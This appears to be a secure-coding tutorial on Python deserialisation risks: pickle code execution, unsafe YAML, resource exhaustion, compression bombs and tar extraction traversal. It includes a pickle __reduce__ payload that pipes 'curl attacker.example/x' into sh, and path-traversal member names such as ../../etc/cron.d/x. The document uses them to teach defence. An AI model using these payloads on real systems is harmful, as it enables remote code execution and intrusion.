Untrusted deserialisation and hostile input

There is a class of bug where the attacker does not need to find a flaw in your code. Your code works exactly as documented. The documentation just says something you did not read carefully enough.

pickle is the canonical example, and it is not subtle. From the standard library reference, in a red warning box at the top of the page:

The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.

Not “may leak data”. Not “could crash”. Arbitrary code execution, by design, because unpickling is not parsing — it is running a small stack program that calls constructors you did not choose.

Why pickle is executable

The format has an opcode, REDUCE, that means “call this callable with these arguments”. Any object can nominate what that callable is by defining __reduce__:

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("curl attacker.example/x | sh",))

pickle.dumps(Exploit()) produces a few dozen bytes. pickle.loads on those bytes runs the command. No memory corruption, no clever encoding — the format was designed to reconstruct arbitrary Python objects, and reconstructing an arbitrary object means calling arbitrary code.

This is why “we HMAC the pickle so it cannot be tampered with” is a strategy that works right up until the signing key leaks, and then you have handed out remote code execution instead of a data breach. It is also why pickle shows up in real incidents through side doors: a cache backend, a session store, a job queue payload, a machine-learning checkpoint. PyTorch’s .pt files are pickles, which is why torch.load grew a weights_only=True mode and then made it the default.

💡Your service caches computed objects in Redis using pickle, and Redis is on a private network with no public route. Is that fine? click to reveal

No, and the reason is worth internalising: the trust boundary is not the network perimeter, it is the last point at which you know the bytes are yours.

Ask who can write to that Redis. A second service with a smaller security budget. A migration script someone runs from a laptop. A misconfigured bind 0.0.0.0 during an incident. An SSRF in an unrelated endpoint that lets an attacker issue Redis commands. Any one of those turns your cache read into code execution inside the service that holds the database credentials — which is a much better position than wherever the attacker started.

The practical test: if the answer to “could an attacker ever influence these bytes” requires a paragraph, use JSON or msgpack with a schema. Deserialisation that cannot execute code fails closed; pickle fails open.

What to use instead

JSON, and parse it into your own types (see “Parse, don’t validate”). It cannot express a callable, so it cannot execute one. msgpack or CBOR when you need binary compactness — same property, smaller payload. Both need a schema on top, which you were going to write anyway the first time a producer changed a field.

For YAML, yaml.safe_load and never yaml.load with the default loader: full YAML has !!python/object/apply tags, which are pickle wearing a friendlier syntax.

Resource exhaustion: the attack that needs no exploit

An input does not have to execute anything to take you down. It only has to be expensive.

Deep nesting. The classic advice is that a 10,000-deep JSON document overflows the stack. Measure it before you repeat it: on CPython 3.14, json.loads("[" * 100000 + "]" * 100000) returns fine — the C scanner is robust. The overflow arrives in your code, in the perfectly ordinary recursive function you wrote to walk the parsed structure, which hits RecursionError at a depth of a few hundred. And RecursionError is not the exception type your handler catches, so it escapes as a 500 rather than a 400.

The fix has a shape worth remembering: a recursive depth guard cannot work, because it overflows on exactly the input it exists to reject. Bound the depth with an explicit stack, iteratively, before anything recursive touches the data.

Size. A 200 MB request body is not a parse error until you have already allocated 200 MB. Cap it at the edge — the web server, the proxy, the Content-Length check — not in the handler.

Compression bombs. A 42 KB zip that expands to 4.5 PB is a real artefact, not a thought experiment. zipfile and tarfile will happily stream it out until the disk fills. Read ZipInfo.file_size before extracting, cap the total, and cap the number of members. The same applies to gzip-encoded request bodies, where the bomb is in a header you decompress before you have parsed anything.

Algorithmic complexity. tomllib‘s documentation carries its own warning:

a malicious TOML string may cause the decoder to consume considerable CPU and memory resources

Same story for regular expressions on untrusted input (catastrophic backtracking), and for anything quadratic in input size.

Archive extraction: check your Python version, then check again

Extracting an archive means writing files with names the attacker chose. Two things go wrong: ../../etc/cron.d/x escapes the destination, and a symlink member pointing at /etc/passwd followed by a regular-file member of the same name writes through the link.

PEP 706 added extraction filters to tarfile, and the version story is the part people get wrong:

version	extractall() with no filter=
3.11 and earlier	fully trusted; traversal works
3.12, 3.13	fully trusted, plus a DeprecationWarning
3.14+	data filter applied by default

Measured on 3.14: a tar member named ../escape.txt raises tarfile.OutsideDestinationError, with no warning and no file written. If you only ever run 3.14 you are safe by default. If your library supports 3.12 — and most libraries do — pass filter="data" explicitly, because on a 3.12 interpreter the default is still the unsafe one and a DeprecationWarning is invisible outside __main__.

3.14 and 3.15 both tightened it further: data_filter now normalises symlink targets, and the filter is re-applied when a link is substituted.

zipfile has no equivalent filter. ZipFile.extract sanitises the leading path separators and drops .. components, which handles the naive case, but it does not bound sizes and it does not create symlinks — so the bomb is the risk there, not the traversal.

💡A colleague proposes: "we'll extract to a temp directory and then check nothing escaped." What is wrong with that? click to reveal

It is check-after-write, and by the time you check, the write has happened.

If the archive contained ../../home/app/.ssh/authorized_keys, the file is on disk before your check runs. Deleting it afterwards does not un-run the sshd that read it, and it does not help at all if the process crashed or was killed between the write and the check — which is exactly what a second, oversized member in the same archive will arrange.

The general principle: validate the member, then write it, one member at a time. That is what an extraction filter is: a hook called with each TarInfo before extraction, which can rewrite it, skip it, or raise. Building the check into the loop rather than after it is the difference between a filter and a regret.

The two questions to ask at any deserialisation boundary

1. Can this format execute code? pickle, marshal, shelve (pickle underneath), yaml.load with the unsafe loader, dill, and anything that claims to “restore arbitrary Python objects”: yes. JSON, msgpack, CBOR, TOML, Protocol Buffers: no.

2. Can this input be expensive without being large? Nesting depth, compression ratio, backtracking regexes, and integer-string conversion (CPython caps this at 4300 digits since 3.11 precisely because int("9" * 10**7) is quadratic).

Everything else in this track — SQL, shell, path handling — is the same mistake at a different boundary: data from outside is bytes until you have parsed it into a type you defined. Deserialisation is the boundary where getting that wrong is not a bug in your logic. It is the attacker’s code running as you.